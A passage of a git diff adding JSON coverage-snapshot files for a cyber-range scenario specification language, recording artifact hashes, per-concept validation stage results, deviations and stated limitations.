compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-17T22:34:13+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "e91019889bff7e3d0787c3561d96d2d6f95ffdb1b3c157955dedc2ec52d9f001", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "ac398361f8121d702635ca8839ab53f27ac1ed03d6bc61d6df5888c88720c652", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "04b807cb977006b6ae420958db1df21d911b9635b262d9d5c26d4f2023675b73", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "340ba7aad2897c8404554787754976986cead084", + "snapshot_id": "raes-standardized-specification-coverage-issue-1179-v30", + "snapshot_revision": "30.0.0", + "source_state": { + "base_revision": "340ba7aad2897c8404554787754976986cead084", + "checkout_state": "modified", + "implementation_digest": "629eda2ab733a9989bbb4d0605da8221d319831b5d731c5b3cbb3fdaa1123fbf", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v31.json b/docs/research/specification-coverage/execution-snapshot-v31.json new file mode 100644 index 000000000..bd79b0c95 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v31.json @@ -0,0 +1,693 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-18T17:37:29+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph 